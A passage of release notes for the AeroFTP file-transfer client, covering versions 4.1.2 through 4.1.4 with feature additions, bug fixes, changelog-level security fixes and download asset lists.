- Headerless AeroCrypt now works in the GUI: connecting or toggling a headerless profile used to fail closed every time and fall back to the raw provider, so files could upload in plaintext into what looked like an encrypted folder; the GUI was dropping the profile id the keystore config is keyed by. Forwarding it fixes connect-time unlock, the badge toggle and create-at-first-connect, verified live end to end (@EhudKirsh, #276).
- Native profile backup (
.aeroftp) round-trips every saved field: four top-level fields (share-link base, custom and detected icons, silenced classic-fallback preference), the per-profile Filen CLI API key and the OneDrive drive id and type were silently dropped on export or re-import; all now survive, and a second silent drop in the GUI import merge is fixed (#230, #215). - A profile action leaves no residue and no half-copy: deleting a profile now removes every vault secret scoped to it (before: only the password, orphaning the Filen key, crypt-overlay secrets and OAuth token), duplicating copies all of them, and export carries all of them, through one shared source of truth used by both the GUI and CLI;
profile-addreaches full CLI parity and a cloud profile with no host no longer failsprofile-export. - AeroCloud multi-pair correctness hardening: the background worker resolves each pair's protocol from the vault, concurrent manual and background syncs are serialized by a restored in-progress guard, and a locked-vault sync fails closed while the SFTP key passphrase is zeroized (@EhudKirsh, #405).
- Bounded and atomic remote edit: the CLI remote edit streams and caps the download at 10 MB instead of reading up to 500 MB first, and writes via a temp-then-rename so a failed transfer never corrupts the target.
- WebDAV rename on strict servers: the MOVE request now sends
Depth: 0for servers that require it, and the delete preview is more robust on stat-less pseudo-directories. - About > Technical archive crate version resolves: the Technical tab keyed the crate as
sevenz-rustbut the backend reportssevenz-rust2, so the update check queried a deprecated crate and showed an error; aligned so the version resolves.
Security
- Pre-tag commit audit: PASS. A final adversarial commit audit ran over the cycle with three parallel reviewers (the universal recovery kit, the same-name privacy hint, and the AeroCloud / CLI / profile bulk) and confirmed no security or correctness defects: the recovery-kit config cached for headed vaults is public-only and its write is fail-closed for headerless and best-effort for headed, the same-name tracker is keyed to the live vault and cannot bleed across vaults, and AeroCloud delete propagation is gated against a mass-delete wipe. Two cosmetic follow-ups were fixed in the same release: a stale set of recovery-kit intro translations, and a defensive skip of
.and..in the same-name tracker. The dependency review was clean (cargo audit reported no advisories; the RustCrypto core crates stay on documented convergence pins).
Contributors
<img src="https://github.com/EhudKirsh.png?size=48" width="48" height="48" alt="@EhudKirsh" />Downloads:
- Windows:
.msiinstaller,.exe, or.zipportable (no installation required) - macOS:
.dmgdisk image - Linux:
.deb,.rpm,.snap, or.AppImage
- AeroFTP-4.1.4-1.x86_64.rpm - 144.5 MB · 6×
- AeroFTP-4.1.4-1.x86_64.rpm.sigstore.json - 9.8 KB · 1×
- AeroFTP-4.1.4-portable-windows-x64.zip - 80.3 MB · 31×
- AeroFTP-4.1.4-portable-windows-x64.zip.sigstore.json - 10 KB · 5×
- AeroFTP_4.1.4_aarch64.dmg - 80.9 MB · 14×
- AeroFTP_4.1.4_aarch64.dmg.sigstore.json - 10 KB · 3×
- AeroFTP_4.1.4_amd64.AppImage - 84 MB · 17×
- AeroFTP_4.1.4_amd64.AppImage.sigstore.json - 10 KB · 2×
- AeroFTP_4.1.4_amd64.deb - 68.4 MB · 53×
- AeroFTP_4.1.4_amd64.deb.sigstore.json - 10 KB · 40×
- aeroftp_4.1.4_amd64.snap - 271.7 MB · 7×
- aeroftp_4.1.4_amd64.snap.sigstore.json - 9.9 KB · 0×
- AeroFTP_4.1.4_x64-setup.exe - 56.8 MB · 169×
- AeroFTP_4.1.4_x64-setup.exe.sigstore.json - 10 KB · 15×
- AeroFTP_4.1.4_x64.dmg - 84.2 MB · 8×
- AeroFTP_4.1.4_x64.dmg.sigstore.json - 10 KB · 2×
- AeroFTP_4.1.4_x64_en-US.msi - 83.6 MB · 149×
- AeroFTP_4.1.4_x64_en-US.msi.sigstore.json - 10 KB · 21×
v4.1.3 2mo ago · 451 · 18 Assets
[4.1.3] - 2026-07-11
Archive Encryption and Compression at a Glance, Crypt-Overlay Scope with Keyfile 2FA, Safer CLI Deletes, Faster SFTP Listing and macOS Stable
A polish-and-hardening release: AeroFTP surfaces archive encryption, real compression method and AeroVault generation at a glance in both the local and remote file browsers without downloading anything, the crypt overlay now shows plaintext outside its bound subtree and decrypts only inside it across the GUI, CLI and MCP and gains an optional keyfile second factor, the destructive CLI delete verbs get a real dry-run preview with recursion now opt-in, recursive SFTP listing is about three times faster, macOS is promoted from beta to stable, and a broad security audit runs the length of the cycle. Pre-tag commit audit: PASS, the final pre-release audit closed six integrity, fail-open and race residuals; 47 languages translated.
Added
- Optional keyfile second factor for native AeroCrypt: a "something you have" file mixed into the key derivation (stronger than rclone's password2) with no change to the on-disk object format; generate a transfer-safe keyfile from the GUI or CLI, make a vault keyfile-only (an empty password is legal), and the keyfile path travels through profile export/import as a re-pointable pointer that resolves fail-closed at connect across GUI, CLI and MCP (@EhudKirsh, #272).
- Archive encryption, compression and AeroVault generation surfaced at a glance in the local file browser: a padlock next to the Type (closed emerald for a strong cipher, amber for weak ZipCrypto, open grey for a detectable but unprotected archive) for password-protected zip, 7z and RAR showing the real detected cipher (AES 256/192/128, ZipCrypto, RAR5 AES-256, RAR4 AES-128), an optional Encryption column, a Compression column with the real method (Deflate, BZip2, LZMA, LZMA2, PPMd, Zstd, or Store for an uncompressed archive), and an AeroVault generation chip (v2/v3/v4) on our own
.aerovault,.aeroftpand.aeroftp-keystorecontainers; detection reads only the archive header lazily and never downloads or opens the file, and a locked archive gets a dedicated draggable unlock modal that names the real cipher. - New Date format setting (Settings > General): choose how dates render app-wide (Localized, ISO 8601, DD/MM/YYYY or MM/DD/YYYY), applied live to the file browser and every other date with no restart; localized dates now follow the selected app language instead of the OS locale.
- The same encryption and AeroVault surfacing on the remote panel: an
.aerovault,.aeroftpor.aeroftp-keystoreon a remote, plus password-protected third-party zip and 7z, show the padlock, Encryption column and AeroVault chip without downloading the file, reading only the header via provider ranged reads; scoped to the range-capable transports (SFTP, FTP/FTPS, S3, WebDAV, Backblaze B2, Koofr, and now Azure Blob, Uploadcare, Cloudinary and ImageKit) and degrading to no badge where a transport cannot serve byte ranges. - The crypt overlay now shows plaintext outside its bound subtree and decrypts only inside it, from the CLI and MCP too (CWP-20C):
ls,tree,lsjsonand the MCP listing tools were reporting a scoped-overlay remote whose root is not the vault as empty or as only its encrypted items; the read path is now scope-aware (decrypt strictly below the anchor, pass everything at or outside it through as raw plaintext) while every write stays fail-closed so plaintext can never land where ciphertext is expected, verified live on Filen and lab SFTP (@EhudKirsh, #369, #266). - CLI
--no-cryptconnect flag to bypass a bound crypt overlay and connect raw, mirroring the GUI crypt button and closing a CLI-parity gap (#390). - Full S3 trash and version management: browse soft-deleted objects and delete markers under a prefix, undelete, copy-forward an older version to current, purge a single version, and empty the trash with a dry-run preview, from the GUI, the CLI (
versions trash/versions purge/versions empty-trash) and MCP; the crypt overlay is peeled to the concrete S3 provider so names decrypt while every operation round-trips on the raw key, andmkdirno longer writes a zero-byte directory marker that rendered as a phantom empty file on some gateways (@EhudKirsh, #266). - A real dry-run for the destructive CLI delete verbs:
aeroftp-cli rm --dry-runandpurge --dry-runprint the exact files and directories that would go plus the bytes reclaimed and delete nothing, the MCPaeroftp_delete/aeroftp_delete_manytools take the samedry_runreturningwould_delete: truewith the byte total, andrm/purgenow honour the global filters (--include,--exclude-global,--min-size/--max-size,--min-age/--max-age,--files-from) so a filtered recursive delete removes only the matching files and the directories it empties in doing so. - New
aeroftp-cli inventorysubcommand: the authoritative, drift-proof inventory of every CLI subcommand and MCP tool read straight from the in-code registries, emitted as JSON, a Markdown table or a--checkCI drift gate, with a committed snapshot atdocs/COMMAND-INVENTORY.json(the real counts: 90 CLI subcommands, 73 MCP tools, 39 agent tools). lsjson --ndjsonstreaming and a listing spinner: a recursivelsjson -Rcan stream one compact JSON object per line as each entry is discovered, and a stderr progress spinner names the directory being listed on a TTY; the default sorted-array output is unchanged byte for byte and a pipe or redirect stays pure JSON.profile-import --dry-runand nativeexport aeroftp/import aeroftpaliases: preview which profiles a.aeroftpbundle would add or skip as duplicates without touching the vault or keyring, and reach our own format from theexport/importfamilies next to the foreign ones.profile-addcan seed the credential in one step:--password-stdinplus new--credential-json/--credential-json-filewrite into the same vault key the GUI Edit modal uses, so a CLI-created profile is immediately connectable; the sources are validated before the profile is persisted, so a malformed blob fails fast with no orphan profile.- First-run host-config import for the Flatpak: a consent-gated, copy-only import of the native
~/.config/aeroftpon first run (nothing is overwritten and the vault still needs its password), from the GUI first-run prompt andaeroftp-cli flatpak-import, so a user moving from the.debdoes not see an empty app (#310).
Changed
- macOS promoted from beta to stable: it boots and runs cleanly on Intel and Apple Silicon, so the release dmg drops the
-betasuffix (nowAeroFTP_<ver>_<arch>.dmg) and the README badge and Platform Status row read stable alongside Linux and Windows; the dmg is still not Apple-signed, so Gatekeeper needs the documentedxattrworkaround. - Recursive listing over SFTP is about three times faster:
SftpProvider::listwas issuing one serialLSTATper directory entry purely to test the symlink bit, which theREADDIRreply already carried, and this dominated every recursive walk (the GUI panel, sync scan,ls -R,tree,size,rmdirs, the delete plan); the mode now comes from the attributes already in hand and the few real per-entry follow-ups (attr-less recovery, symlink resolution) are pipelined over the one SFTP channel, measured at roughly 42s down to 16s on a 620-entry walk and 37s down to 12s on a symlink-heavy one, with byte-identical output. - DEFLATE level 1 now stays in the native tools' size band: on this build flate2 resolves to the zlib-rs backend whose level 1 is a speed-first preset that ran about 40% larger than
gzip -1on text, so user level 1 is now pinned to backend level 2 at every DEFLATE entry point (zip, tar.gz, standalone gz and the size estimator), which comes out smaller and still faster thangzip -1; 7z level 1 was evaluated and deliberately left as-is, byte-identical toxz -1(#406). - Shared 6-box TOTP input across the 2FA Quick Connect pages: the Two-Factor Code entry is now one digit-only, paste-and-autofocus 6-box component reused on every 2FA page, and the kDrive Drive ID field is narrowed to its 10-digit numeric shape (@EhudKirsh, #369).
- Connection and profile edit polish: a duplicated profile now appends at the tail instead of jumping to the top, editing a saved OAuth or API profile can save a name or local-path change without re-running the sign-in (a Save/Cancel pair disabled until a field actually changes, applied to the live session immediately), and the FileLu Native API entry now shows the FILELU MODES tab bar like the S3 and WebDAV entries.
- The MCP listing tools now return one entry shape:
aeroftp_treeroutes every entry through the sameentry_jsonchokepoint aslist_files,search_filesandfile_infoand adds only itsdepthfield, so a recursive listing is exactly a flat listing plusdepth; the CLIlsjsonfield names are frozen with a doc comment so no future cleanup can quietly break the scripts that parse them. - The
--checkershelp is now honest: it promised parallel metadata probes, but the--no-traversestat sweep runs sequentially today, so the help now says so and points at the provider-pool refactor as where it becomes a real concurrency gate.
Fixed
- Filen local S3 and WebDAV bridges auto-detect HTTP/HTTPS at connect: a mismatch between the profile and the protocol chosen in the Filen app no longer blocks the connection, the loopback IP is pinned to avoid a
local.*.filen.ioDNS failure on Windows, and the Filen WebDAV Quick Connect drops the manual selector for an auto-detect note (#389). - Ejecting a removable drive while AeroFile is inside it steps the view back to Home instead of leaving a stale view of the removed drive, matching the system file explorer (@EhudKirsh, #351).
- The Filen Quick Connect no longer prints LOCAL twice: the local bridge modes read WebDAV and S3 under a single LOCAL badge, as the MEGA page already did (@EhudKirsh, #369).
- The pCloud Drive OAuth credentials link is renamed Manage credentials and points at the my_apps console so it reads honestly, translated across all locales (@EhudKirsh, #369).
- The overall Transfer Queue progress bar no longer pegs at 98-100% during a folder upload: it now climbs on the backend's real aggregate byte total, fixed upfront from the pre-scan, instead of a lazily-enqueued item count (@EhudKirsh, #364).
- With the crypt overlay on, uploading into a plaintext-named folder created while the overlay was off no longer creates a phantom encrypted folder and misplaces the file: the write is refused with a clear message, and arming the overlay re-anchors you out of a hidden plaintext folder to a valid encrypted location while keeping you in place inside a genuine encrypted subfolder (#390).
- The 2FA 6-box code input no longer skips a box on each keystroke: typing a digit advanced the caret by two boxes because the fill helper and the single-digit path both stepped forward; focus now advances one box at a time on all three pages, with paste and backspace unchanged (@EhudKirsh, #369).
- The red View Trash button now works under the crypt overlay for the cloud providers (Google Drive, pCloud, MEGA, kDrive, Koofr, Box, OpenDrive, Jottacloud, Dropbox): trash, restore and empty downcast the live provider box, but under Crypt that box is the overlay decorator, so a shared helper now peels the overlay to the inner transport before every provider-specific downcast, and the trash listing decodes the display name to plaintext where restore keys on an opaque id (@EhudKirsh, #397).
- Saving, uploading or downloading over SFTP no longer hangs about ten minutes before falling back: the native rsync delta probe had no bounded timeout on the russh leg, so an SFTP-only server that never answers blocked it and the negative cache re-probed per file; each probe is now bounded to 8 seconds and a failure is cached for 30 minutes, so a rsync-less remote falls back to plain SFTP within seconds and is not re-probed per file (@coolfocks, #398).
- A second double-click during a slow listing no longer overshoots the target (a relative
..on FTP going up twice): remote and local navigation now use a synchronous in-flight latch that ignores a re-entrant navigation, and the listing spinner carries a Cancel that discards the in-flight result and releases the latch so a stalled navigation never traps you (@JonathanHarford, #401). - The batch delete, upload and download triggers no longer fire a duplicate op on a second click: the four batch handlers are now gated by a synchronous in-flight latch that covers the toolbar, keyboard shortcuts and context menu at once, the toolbar buttons grey out while in flight, and the scanning toast carries a Cancel that breaks the batch loops so an external stall never traps the user.
- Every foreground remote listing is now visible, named and genuinely interruptible: the connect handlers plus
switchSession,switchGitHubBranchand the AeroCloud tab issued their initial listing through a raw invoke that bypassed the spinner, and the old Cancel only bumped a frontend counter while the listing kept running; the abort now happens in the backend under a cancellation token via a newcancel_remote_listingcommand that touches no provider state, so cancelling a blocked connect tears the half-open session down and returns you to My Servers, while cancelling a drill-in leaves you where you were. - Connect no longer hangs forever in an endless spinner when a Tauri command dies by panic: every FTPS connection from the GUI was panicking before it ever spoke to the server because rustls could not auto-select a crypto backend with both
aws-lc-rsandringin the tree (the CLI already pinned it, the GUI never did), and a panicking async command never sent an IPC response so the spinner and its Cancel went dead; the crypto provider is now installed once at startup and the connect family runs under a panic-safe catch plus a 120s frontend backstop, so a panic becomes a normal error the UI renders. - InfiniCLOUD's July 2026 SSO migration is handled: the provider Sign-up link is repointed at the new portal (the old teracloud.jp form now 404s) and the REST v2 discovery and quota calls send
X-InfiniCLOUD-API-KEYalongside the legacyX-TeraCLOUD-API-KEY; existing profiles are unaffected since the data plane still uses the Apps Connection password. - Connecting or navigating to a remote path that does not exist is now fast and honest instead of hanging or blaming your credentials: on chroot FTP accounts a missing directory could hang forever behind the spinner because an MLSD opened a PASV data connection the server never serviced (a control-only MLST probe now fails fast in about a second), and a post-login 550 is reported as a path-not-found with guidance to edit or clear the Remote Path instead of "Check credentials".
- The in-app updater no longer offers a
.debdownload on Arch: it now detects pacman and degrades to notify-only, exactly as on Snap and Flatpak (#310). - The AUR
aeroftp-binpackage was repaired: a launcher wrapper had destroyedargv[0]soaeroftp-cliandaftpopened the GUI for every flag-first call, the desktop file carried one of five file associations with a duplicate menu entry, and the icon was pinned to a moving branch; none of this ever affected.deb,.rpmor AppImage (#310). - The My Servers list no longer stays scrolled under the header after you edit a profile: the shared scroll container that a tall Edit form scrolls down now resets to the top on every tab change.
- The standalone extract/password window now follows the app theme (light, dark, auto) instead of always rendering light, reading the saved theme (falling back to the OS preference on auto) before render.
- The Transfer Queue no longer ticks a completed check on a failed transfer that shares a filename with a live one: the status transition is now a pure guard that refuses to move an
erroritem tocompleted, while a genuine retry still completes because it re-enterstransferringfirst. - The Linux desktop entry now categorizes as
Network;FileTransfer;(wasUtility;) with the full eight-format MimeType and a Keywords line, converging every Linux package format; the stale in-repoaur/folder was also removed. - The
archive_compressagent tool schema now states the real default level (5, 7-Zip Normal) instead of the stale 6. - Two version gates so a mis-versioned snap cannot ship:
build-snapnow runs a version guard right after checkout and the manifest-match gate additionally compares all four manifests to the tag on tag builds, closing the gap that once let a 4.0.8 snap publish under the 4.0.9 release. - SourceForge publishing is now an explicit, curated release step (installers plus Sigstore attestations, not the whole-release mirror that had grown the project to 44.5 GiB), uploaded through AeroFTP's own SFTP integration with retention pruning.
Security
- AeroFile vertical security audit complete (bundle B1, 17/17): the whole-archive extractors enforce decompression-bomb ceilings and zip metadata detection gets a passive OOM clamp, the zip-slip guard is consolidated across zip/7z/tar/rar, the Cryptomator vault walk gains a cycle guard and all its metadata reads (dir.c9r, name.c9s, masterkey and vault config) are size-capped against a hostile vault, image previews get decode limits, and the local file operations (cross-panel move, paste, drag-drop, inline and batch rename, Extract here) now refuse or pre-flag a silent overwrite.
- Integer-overflow guards on the remote archive-detect path: two hazards on attacker-controlled zip64 and 7z offsets that in a release build could wrap past the bounds check and panic the detection task are now guarded with checked arithmetic, with no behavior change on well-formed archives and never a wrong badge.
- The S3 trash no longer purges files nobody deleted: the trash view had reported the live current version of every key under a prefix as trash, so
empty-trashcould hard-delete live files irreversibly with no undo; a key is now trash only when its current version is a delete marker, the filter moved into a unit-tested pure function, and the bug was caught by a live test against a versioned AWS bucket before any release carried it (@EhudKirsh, #266). - Recursive delete over MCP is now opt-in and fail-closed:
recursivewas declared on every delete tool and read by none, and the MCP backend calledrmdir_recursiveon any directory, so anaeroftp_deletewith no flag silently erased the whole subtree while the GUI and CLI only unlinked a single entry; recursion now routes through a newdelete_recursivewhose default refuses rather than pretending, and a non-recursive delete of a non-empty directory answers "pass recursive=true" instead of a raw SFTP failure. - No recursive walk follows a symlink-to-directory any more:
listresolves a symlink-to-directory tois_dir = trueso callers can render it, and fifteen walkers gated their descent on that alone and walked straight into asub/loop -> ..cycle up to the depth cap, sormdirs,get -r,sync,dedupe,cleanupand the MCPstorage_quotaand delete preview miscounted or double-wrote; the invariant now lives onRemoteEntry::is_walkable_dir()and gates every descent, with the entry still reported as a directory so only the traversal is refused. - A sandboxed install can no longer lock a native install's vault: in the zero-password AutoKeyring default the vault passphrase lived in one shared OS-keyring slot, so a Flatpak or Snap initialising its own vault overwrote the native passphrase and left the still-intact native
vault.dbundecryptable (total credential loss to the user); the slot is now namespaced per install scope and a sandbox reads but never writes the native slot, reproduced and fixed after our own Flatpak live test locked the maintainer's vault. - macOS releases now ship signed: the dmg had been globbed under its
-betaname before the rename ran, so nothing was signed (v4.1.2 shipped two dmgs and zero.dmg.sigstore.json); the dmg is now signed under its real name so the in-app updater, which pins the same workflow identity for every platform, can verify it. - crossbeam-epoch bumped 0.9.18 to 0.9.20 (Cargo.lock only), clearing RUSTSEC-2026-0204 (an invalid pointer dereference in its
fmt::Pointerimpl) and restoring a cleancargo auditgate. - In-app updater signature verification is now honest and visible: a genuine sigstore verification failure now shows a distinct amber "Signature not verified (SHA-256 only)" badge instead of green and is echoed in the centered install overlay, the download progress bar turns green at 100%, and the update and verify strings are translated across all 46 locales; sigstore stays advisory with SHA-256 as the install gate (the hard block is planned for v4.1.4), and the same path was further hardened to distinguish an absent Sigstore bundle from an unparseable or unreachable one and to stage the artifact and its bundle as exclusive, collision-safe files.
- Final pre-release audit residuals closed: S3 batch delete rejects malformed 2xx bodies, FTP uses the MLST anti-hang probe only when that verb is advertised and preserves fallback on transient errors, and the local and remote batch-delete latches stay held through the actual async operation.
Contributors
<img src="https://github.com/EhudKirsh.png?size=48" width="48" height="48" alt="@EhudKirsh" /> <img src="https://github.com/coolfocks.png?size=48" width="48" height="48" alt="@coolfocks" /> <img src="https://github.com/JonathanHarford.png?size=48" width="48" height="48" alt="@JonathanHarford" />Downloads:
- Windows:
.msiinstaller,.exe, or.zipportable (no installation required) - macOS:
.dmgdisk image - Linux:
.deb,.rpm,.snap, or.AppImage
- AeroFTP-4.1.3-1.x86_64.rpm - 143.1 MB · 6×
- AeroFTP-4.1.3-1.x86_64.rpm.sigstore.json - 10 KB · 1×
- AeroFTP-4.1.3-portable-windows-x64.zip - 79.6 MB · 15×
- AeroFTP-4.1.3-portable-windows-x64.zip.sigstore.json - 9.8 KB · 5×
- AeroFTP_4.1.3_aarch64.dmg - 79.7 MB · 15×
- AeroFTP_4.1.3_aarch64.dmg.sigstore.json - 9.8 KB · 7×
- AeroFTP_4.1.3_amd64.AppImage - 83.3 MB · 16×
- AeroFTP_4.1.3_amd64.AppImage.sigstore.json - 9.7 KB · 2×
- AeroFTP_4.1.3_amd64.deb - 67.8 MB · 48×
- AeroFTP_4.1.3_amd64.deb.sigstore.json - 9.8 KB · 37×
- aeroftp_4.1.3_amd64.snap - 270.7 MB · 7×
- aeroftp_4.1.3_amd64.snap.sigstore.json - 10 KB · 1×
- AeroFTP_4.1.3_x64-setup.exe - 56.1 MB · 133×
- AeroFTP_4.1.3_x64-setup.exe.sigstore.json - 9.9 KB · 13×
- AeroFTP_4.1.3_x64.dmg - 83.5 MB · 7×
- AeroFTP_4.1.3_x64.dmg.sigstore.json - 10 KB · 2×
- AeroFTP_4.1.3_x64_en-US.msi - 83 MB · 123×
- AeroFTP_4.1.3_x64_en-US.msi.sigstore.json - 9.9 KB · 13×
v4.1.2 2mo ago · 716 · 16 Assets
[4.1.2] - 2026-07-05
Complete Archive Format Coverage, Quick Connect Consistency and a Full-Surface Security Audit
An archive-focused release: a format-coverage audit closed every gap it found, so what AeroFTP creates it can always reopen, and archives from native tools (7-Zip, gzip, WinRAR) open reliably. A single file now compresses to and extracts from a plain .gz, .xz or .bz2, the Compress dialog gains a 7z Advanced section, ZIP archives using non-Deflate methods now open, tar symlinks extract safely, and the compression presets align with the 7-Zip canonical levels. Alongside archives: a full-surface security audit fixed 16 findings, AeroShare gains offline LAN (mDNS) discovery, and a broad Quick Connect consistency pass lands with the crypt-overlay fixes reported against v4.1.1. 47 languages translated.
Added
- Standalone gzip / xz / bzip2, full round-trip: a lone file compresses to a plain
.gz,.xzor.bz2with no tar wrapper, and extracts back through the real extract path (member name = archive name minus the codec extension). The Compress dialog adds GZ/XZ/BZ2 cards enabled only for a single non-folder selection; the CLI infers the format from the extension (longest match keepsfoo.tar.gza tarball) and the CLI, GUI and AI extract verbs all reach the standalone lane, including a.gzproduced by system gzip. (#365) - 7z Advanced options: content method, dictionary size, solid block, threads: a collapsed Advanced section in the Compress dialog, with matching
aeroftp compressflags, exposes the 7z content method (LZMA2 default, plus LZMA, PPMd, BZip2), an LZMA2 dictionary size and thread count, and a solid-block option (one pack for every file: better ratio on many small files, off by default). Every method is decodable by the extractor, so an unreadable archive is never created. (#365) - ZIP archives with non-Deflate methods now open (BZip2, LZMA, Deflate64, Zstd, XZ): these previously failed with "unsupported compression". The read codecs are now enabled and such archives extract byte-exact; the write path is unchanged (AeroFTP still emits Store/Deflate + AES, which every native archiver opens). Full bidirectional interop with 7-Zip verified.
- AeroShare LAN (mDNS) discovery: a new
landiscovery mode resolves peers over local mDNS only, publishing nothing to n0 or the public DHT, so two devices on the same subnet find each other fully offline (no internet, no relay). mDNS is also folded into the defaultbothmode, so LAN peers resolve instantly there too. (@EhudKirsh, #284) aero benchmark --all-protocolsalias for the existing--allflag (benchmarks every saved profile), so the intent reads clearly. (@EhudKirsh, #277)
Changed
- Compression level presets aligned with the 7-Zip canonical levels: the Compress dialog now offers six presets (Store=0, Fastest=1, Fast=3, Normal=5, Maximum=7, Ultra=9) shared across all compressible formats; 7z and the tar.gz/tar.xz/tar.bz2 family drop Store since their codecs have no real store mode. The default level moves from 6 to 5 (7-Zip "Normal") in the dialog, in every backend fallback and in the CLI
--levelhelp. (#365) - 2FA Quick Connect polish (Filen, MEGA, Internxt): the six-digit Two-Factor Code field is compact (six digits, centered,
000000placeholder) and digit-only, the code auto-submits the moment the sixth digit lands, and on Filen and MEGA the live TOTP preview (key, code, copy, timer) sits on the 2FA Secret label row. (@EhudKirsh, #369) - Interactive
-isections splitclearfromcls/.: inprofiles -i,groups -iandusers -i,clearnow does a plain screen wipe with no reprint (the universal terminal behaviour), whilecls, the single-key.andrefreshkeep the clear-and-reprint refresh. (@EhudKirsh, #266) - Add Service catalog refinements: a single Grid/Table "switch to" toggle (mirroring My Servers), the generic-servers strip filtered to the active tab, Microsoft-prefixed OneDrive and Azure Blob so the two sort together, consistent S3 / WebDAV / API badge order, and corrected free tiers (DriveHQ 5 GB, Uploadcare 1 GB). (@EhudKirsh, #274)
Fixed
- Crypt overlay stuck decrypting forever after a reconnect (kDrive and other OAuth backends): the red Disconnect never tore down the transparent crypt overlay, so a stale vault id survived and the next connect short-circuited the auto-unlock. Disconnect now locks the backend keys, unwraps the provider and resets the overlay state so a reconnect starts clean. (@EhudKirsh, #386)
- Crypt upload "Path not found" on strict WebDAV (Koofr, OpenDrive): a PUT failed when the encrypted parent collection did not exist. The overlay now creates the encrypted parent chain and retries once on a path-missing error, gated so an auth or quota failure leaves no stray encrypted directories. (@EhudKirsh, #385)
- Koofr WebDAV endpoint dropped on an in-edit mode switch (404): the per-mode credential stash keyed on
providerId || protocol, which collides for Koofr, so switching Native API to/from WebDAV leaked the bare API host over the WebDAV preset endpoint. Now keyed collision-free; for a crypt profile this also restores the transparent overlay, which had vanished only because the connection never came up. (@EhudKirsh, #385) - Crypt overlay secrets carried over on Convert / Save-as-new: converting a crypt profile to another mode (or saving it as new) minted a new profile id but left the overlay password and salt under the old id, so the new profile never auto-unlocked. The secrets are now copied to the new id. (@EhudKirsh, #385)
- MEGA API/CMD Quick Connect adopts the two-column layout: the narrow legacy card squeezed the MEGA MODES tab bar and never exposed the transparent Crypt overlay or the Remember-credentials toggle; API/CMD now use the shared grid, verified live on real MEGA with both overlay kinds. (@EhudKirsh, #369)
- Quick Connect edit-mode consistency: a preset endpoint stays hidden from the main form in edit mode too (collapsed and unlock-gated in Advanced), a provider's WebDAV mode reads the preset's own field labels instead of generic Username/Password, kDrive's Drive ID sits above the API Token as a numeric-only field with direct find-your-id and create-a-token links, and single-preset provider names keep their brand casing. (@EhudKirsh, #369)
- A delta transport drop no longer fails the transfer outright: when the native delta lane dies on a wire-level drop (for example a fragile NAS closing the SSH exec channel mid file list, observed live on a WD MyCloud), the single-file transfer now falls back to the classic SFTP path instead of surfacing "delta hard rejection". The destination is never torn (every write goes through a temp file plus atomic rename), and security refusals (host-key mismatch) still never fall back.
- Text preview copy and gutter drag-selection:
Ctrl+Cnow copies the active text selection (the global file-manager shortcut used to swallow it), and the line-number gutter drag-selection tracks both ways from a window mousemove. (@EhudKirsh, #347) - Split / multi-volume archive parts report a clear message: a
.7z.001,.zip.001,.z01or.r00part gets a specific "rejoin the volumes" message instead of the generic "Unsupported archive type"; real multi-part RAR (.partN.rar) stays on the normal.rarlane so it keeps working. - i18n:
provider.modes.lockedInEdittranslated in all 47 locales: the mode-tabs hint referenced a key that existed in no locale, flooding the console with missing-translation warnings.
Security
- Full-surface security and hardening audit: 16 findings fixed (3 high, 7 medium, 6 low). High: remote-controlled path traversal in the
sync_treedownload engine, unbounded eager allocation from a server-declared native-rsync block count, FileLu API key leaking into surfaced errors. Medium: privileged auto-update installs fail closed on a backend-authoritative registry of signature-verified artifacts, Azure Service SAS rebuilt to the correct field layout, MEGA and OpenDrive session ids redacted from errors, native-rsync symlink varint panic guarded,shell_executemeta-character filter closed for redirection and glob, DebugPanel redaction extended to serialized secret fields. Low: vault mountpoint collision hash, component-aware update-path boundary, MCP deny-list parity, bounded peer inbound-rate map, CLI edit temp 0o600 with no-follow, constant-time SFTP serve auth. - Tar symlink and hardlink entries extract safely: a link target is validated with the same in-root check as file paths, an in-root symlink is recreated (unix), and a malicious link pointing outside the destination is never materialised and is surfaced in the report instead of being silently dropped.
- quick-xml bumped to 0.41 for RUSTSEC-2026-0194 and RUSTSEC-2026-0195.
- Pre-tag commit audit: PASS. A punctual multi-reviewer audit of every commit in this cycle (archive, connection and share/CLI/catalog lanes) confirmed the security posture: no path traversal in the new extract lanes (symlink chains, hardlinks and TOCTOU covered), no secret ever logged or misdirected by the credential migrations, dependencies clean. The six minor findings it surfaced are all fixed in this release: the LAN discovery mode now disables relays entirely (true offline, no WAN service contacted), the default discovery description honestly discloses the local mDNS announce in all 47 languages, tar re-extraction overwrites existing links instead of failing, the CLI tar extract report stays a clean path, per-mode credential snapshots saved by earlier versions migrate to the new collision-free keys, and pasting a 2FA code with separators keeps all six digits.
Contributors
<img src="https://github.com/EhudKirsh.png?size=48" width="48" height="48" alt="@EhudKirsh" />Downloads:
- Windows:
.msiinstaller,.exe, or.zipportable (no installation required) - macOS:
.dmgdisk image - Linux:
.deb,.rpm,.snap, or.AppImage
Download AeroFTP
- AeroFTP-4.1.2-1.x86_64.rpm - 146.2 MB · 16×
- AeroFTP-4.1.2-1.x86_64.rpm.sigstore.json - 9.8 KB · 10×
- AeroFTP-4.1.2-portable-windows-x64.zip - 80.1 MB · 31×
- AeroFTP-4.1.2-portable-windows-x64.zip.sigstore.json - 10 KB · 6×
- AeroFTP_4.1.2_aarch64-beta.dmg - 82.7 MB · 40×
- AeroFTP_4.1.2_amd64.AppImage - 85.5 MB · 35×
- AeroFTP_4.1.2_amd64.AppImage.sigstore.json - 9.9 KB · 5×
- AeroFTP_4.1.2_amd64.deb - 69.3 MB · 83×
- AeroFTP_4.1.2_amd64.deb.sigstore.json - 10.1 KB · 15×
- aeroftp_4.1.2_amd64.snap - 273.7 MB · 11×
- aeroftp_4.1.2_amd64.snap.sigstore.json - 10 KB · 7×
- AeroFTP_4.1.2_x64-beta.dmg - 87 MB · 13×
- AeroFTP_4.1.2_x64-setup.exe - 56.4 MB · 227×
- AeroFTP_4.1.2_x64-setup.exe.sigstore.json - 9.9 KB · 25×
- AeroFTP_4.1.2_x64_en-US.msi - 83.5 MB · 173×
- AeroFTP_4.1.2_x64_en-US.msi.sigstore.json - 9.9 KB · 19×
v4.1.1 2mo ago · 595 · 16 Assets
[4.1.1] - 2026-07-01
Transparent Crypt Overlays, AeroShare Privacy Controls and 7z Encrypted Headers
